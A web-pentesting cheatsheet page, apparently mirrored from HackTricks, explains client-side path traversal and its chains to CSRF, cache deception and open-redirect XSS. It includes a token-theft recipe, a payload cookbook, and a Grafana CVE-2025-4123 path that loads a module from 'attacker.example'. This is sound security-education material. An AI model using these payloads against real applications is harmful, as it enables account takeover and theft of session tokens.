daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

client-side-path-traversal.md (11123B)


      1 ---
      2 title: "Client Side Path Traversal"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/client-side-path-traversal.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/client-side-path-traversal.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Client Side Path Traversal
     14 
     15 ## Basic Information
     16 
     17 A client-side path traversal (CSPT), also called **on-site request forgery (OSRF)**, occurs when attacker-controlled data is inserted into a URL path used by client-side code. By injecting dot segments such as `../`, an attacker can make the victim's browser send an authenticated request to a different path on the same origin. The request may carry cookies, JavaScript-added authorization headers, or a client certificate, depending on how the application constructs it.<sup>[[5]](#references)[[7]](#references)</sup>
     18 
     19 Typical sources (data you control) include route parameters, stored values, and UI-controlled path fragments:<sup>[[7]](#references)[[8]](#references)</sup>
     20 
     21 - Route parameters that get concatenated into `fetch()` or XHR paths (React Router, Next.js dynamic routes, Vue router params, Angular `ActivatedRoute`).
     22 - Stored values (profile slugs, document IDs) that are interpolated into paths inside background jobs, service workers, or WebSocket URLs.
     23 - UI gadgets (download/export buttons, image galleries) that append user-controlled fragments or file extensions to API endpoints before the request is dispatched.
     24 
     25 Typical sinks (where the traversal lands) include request builders and navigation or resource-loading APIs:<sup>[[7]](#references)[[8]](#references)</sup>
     26 
     27 - Frontend API wrappers that prepend `/api/` or `/proxy/` and reuse auth headers automatically.
     28 - `history.pushState` / `router.navigate` helpers that reconstruct URLs later during hydration.
     29 - `<link>`/`<style>`/`@import` statements generated by CMS content or feature-flag payloads.
     30 
     31 ### Common impacts & chains
     32 
     33 - **CSPT ➜ CSRF/OSRF**: hijack authenticated `POST/PUT/DELETE` calls by escaping the intended resource path, then re-entering sensitive endpoints (password reset, payment approval, access revocation). Combine with the [CSRF](/hacktricks/pentesting-web/csrf-cross-site-request-forgery) checklist to escalate.
     34 - **CSPT ➜ cache deception / poisoning**: serve attacker-controlled JSON from public CDN keys and replay it unauthenticated. See [Cache Poisoning and Cache Deception](/hacktricks/pentesting-web/cache-deception/overview).
     35 - **CSPT ➜ Open Redirect ➜ XSS/SSRF**: traversal lands on an open redirect endpoint, which then bounces to attacker infrastructure that serves malicious JS or SSRF payloads. Chain with [Open Redirect](/hacktricks/pentesting-web/open-redirect) abuses.
     36 
     37 ### Example findings
     38 
     39 - In [**this writeup**](https://erasec.be/blog/client-side-path-manipulation/), it was possible to **change the invite URL** so it would end up **canceling a card**.<sup>[[5]](#references)</sup>
     40 - In [**this writeup**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), it was possible to combine a **client side path traversal via CSS** (it was possible to change the path where a CSS resource was loaded from) with an **open redirect** to load the CSS resource from an **attacker controlled domain**.<sup>[[6]](#references)</sup>
     41 - In [**this writeup**](https://blog.doyensec.com/2024/07/02/cspt2csrf.html), it's possible to see a technique on how to abuse CSPT **to perform a CSRF attack**. This is done by **monitoring all the data** that an attacker can control (URL path, parameters, fragment, data injected in the DB...) **and the sinks** this data ends (requests being performed).<sup>[[7]](#references)</sup>
     42   - Use the **Eval Villain** browser extension to monitor attacker-controlled sources as they reach JavaScript sinks.<sup>[[9]](#references)</sup>
     43   - Use the **CSPT Playground** to practice the technique.<sup>[[10]](#references)</sup>
     44   - See Doyensec's tutorial for a worked Eval Villain and CSPT Playground workflow.<sup>[[11]](#references)</sup>
     45 
     46 ## CSPT-assisted web cache poisoning/deception
     47 
     48 CSPT can be chained with extension-based CDN caching to exfiltrate sensitive JSON leaked by authenticated API calls:<sup>[[1]](#references)[[2]](#references)</sup>
     49 
     50 - A frontend concatenates user-controlled input into an API path and attaches authentication headers in fetch/XHR.
     51 - By injecting dot-segments (../) you can retarget the authenticated request to a different endpoint on the same origin.
     52 - If that endpoint (or a path variant with a static-looking suffix like .css) is cached by the CDN without varying on auth headers, the victim’s authenticated response can be stored under a public cache key and retrieved by anyone.
     53 
     54 Quick recipe:
     55 
     56 1) Find SPA code building API URLs from path parameters while sending auth headers.
     57 2) Identify sensitive endpoints and test static suffixes (.css, .js, .jpg, .json) to see if the CDN flips to Cache-Control: public/max-age and X-Cache: Hit while returning JSON.
     58 3) Lure the victim to a URL that injects traversal into the SPA parameter so the authenticated fetch hits the cacheable path variant (for example, ../../../v1/token.css).
     59 4) Read back the same URL anonymously to obtain the cached secret (token → ATO).
     60 
     61 See details and mitigations in the Cache Deception page: [Cache Poisoning and Cache Deception](/hacktricks/pentesting-web/cache-deception/overview).
     62 
     63 ## Hunting workflow & tooling
     64 
     65 ### Passive discovery with intercepting proxies
     66 
     67 - **Correlate sources/sinks automatically**: the [CSPT Burp extension](https://github.com/doyensec/CSPTBurpExtension) parses your proxy history, clusters parameters that are later reflected inside other requests’ paths, and can reissue proof-of-concept URLs with canary tokens to confirm exploitable traversals. After loading the JAR, set the `Source Scope` to client parameters (e.g., `id`, `slug`) and the `Sink Methods` to `GET, POST, DELETE` so the extension highlights dangerous request builders. You can export all suspect sources with an embedded canary to validate them in bulk.<sup>[[4]](#references)</sup>
     68 - **Look for double-URL-decoding**: while browsing with Burp or ZAP, watch for `/api/%252e%252e/` patterns that get normalized by the frontend before hitting the network—these usually show up as base64-encoded JSON bodies referencing route state and are easy to overlook without an automated scanner.<sup>[[8]](#references)</sup>
     69 
     70 ### Instrumenting SPA sinks manually
     71 
     72 Dropping a short snippet in DevTools helps surface hidden traversals while you interact with the UI:
     73 
     74 ```javascript
     75 (() => {
     76   const origFetch = window.fetch;
     77   window.fetch = async function (input, init) {
     78     if (typeof input === "string" && /\.\.\//.test(input)) {
     79       console.log("[CSPT candidate]", input, init?.method || "GET");
     80       debugger;
     81     }
     82     return origFetch.apply(this, arguments);
     83   };
     84 })();
     85 ```
     86 
     87 - Add similar wrappers around `XMLHttpRequest.prototype.open`, `history.pushState`, and framework-specific routers (e.g., `next/router`). Watching for `init.credentials === "include"` quickly narrows down requests that carry session cookies.
     88 - If the app stores routing hints in IndexedDB/localStorage, edit those entries with traversal payloads and reload—the mutated state is often reinjected into requests pre-hydration.
     89 
     90 ### Lab & payload rehearsal
     91 
     92 - Spin up the CSPT Playground via `docker compose up` and practice chaining traversal ➜ CSRF ➜ stored XSS flows without touching the target. Reproducing the target’s router structure locally makes it easier to craft shareable PoCs.
     93 - Maintain a scratchpad of successful dot-segment variations (`..;/`, `%2e%2e/`, `%2e./%2e/`, UTF-8 homoglyphs) and suffix tricks (`.css`, `.json`, `;` matrix params) you observed during recon so you can replay them quickly when a new sink appears.
     94 
     95 ## Recent case studies (2025)
     96 
     97 - **Grafana CVE-2025-4123** – A CSPT in the frontend's handling of `/public/plugins/<plugin-id>/...` paths could be chained with an open redirect to load an attacker-controlled plugin module, producing XSS in a victim's browser. The attack does not require Editor permissions, and Grafana states that it also works when anonymous access is enabled; successful exploitation can lead to session hijacking or complete account takeover. A schematic path has the form `https://grafana.example.com/public/plugins/../../../../..//attacker.example/poc/module.js`; exact normalization and plugin-ID requirements depend on the release. With the optional Grafana Image Renderer installed, the same path manipulation can instead provide full-read SSRF. Grafana reported that the issue affected supported releases and older versions going back to at least Grafana 8; it was fixed in 10.4.18+security-01, 11.2.9+security-01, 11.3.6+security-01, 11.4.4+security-01, 11.5.4+security-01, and 12.0.0+security-01.<sup>[[3]](#references)</sup>
     98 
     99 ## Payload cookbook
    100 
    101 | Goal | Payload pattern | Notes |
    102 | --- | --- | --- |
    103 | Hit sibling API under same origin | `?doc=../../v1/admin/users` | Works when routers simply concatenate `/${doc}`. Add `.json` if CDN only caches static-looking assets. |
    104 | Force SPA to follow open redirect | `?next=..%2f..%2f..%2flogin/callback/%3FreturnUrl=https://attacker.tld/x` | Combine with trusted redirectors listed in target’s codebase. Chain with [Open Redirect](/hacktricks/pentesting-web/open-redirect). |
    105 | Abuse extension-based CDN cache | `?file=../../v1/token.css` | CDN may treat `.css` as static and cache secrets returned as JSON. |
    106 | CSRF via verb change | `?action=../../payments/approve/.json&_method=POST` | Some routers accept `_method` overrides; pair with traversal to re-target destructive endpoints. |
    107 
    108 ## References
    109 
    110 - [1] [Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover](https://zere.es/posts/cache-deception-cspt-account-takeover/)
    111 - [2] [PortSwigger: Web Cache Deception](https://portswigger.net/web-security/web-cache-deception)
    112 - [3] [Grafana security release for CVE-2025-4123](https://grafana.com/blog/grafana-security-release-high-severity-security-fix-for-cve-2025-4123/)
    113 - [4] [Doyensec CSPT Burp Extension](https://github.com/doyensec/CSPTBurpExtension)
    114 - [5] [Client-Side Path Manipulation (erasec)](https://erasec.be/blog/client-side-path-manipulation/)
    115 - [6] [Practical Client-Side Path Traversal Attacks (mr-medi, archived)](https://web.archive.org/web/20231129182802id_/https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html)
    116 - [7] [CSPT2CSRF (Doyensec)](https://blog.doyensec.com/2024/07/02/cspt2csrf.html)
    117 - [8] [CSPT overview by Matan Berson](https://matanber.com/blog/cspt-levels/)
    118 - [9] [Eval Villain browser extension](https://github.com/swoops/eval_villain)
    119 - [10] [Doyensec CSPT Playground](https://github.com/doyensec/CSPTPlayground)
    120 - [11] [Doyensec – Finding CSPT with Eval Villain](https://blog.doyensec.com/2024/12/03/cspt-with-eval-villain.html)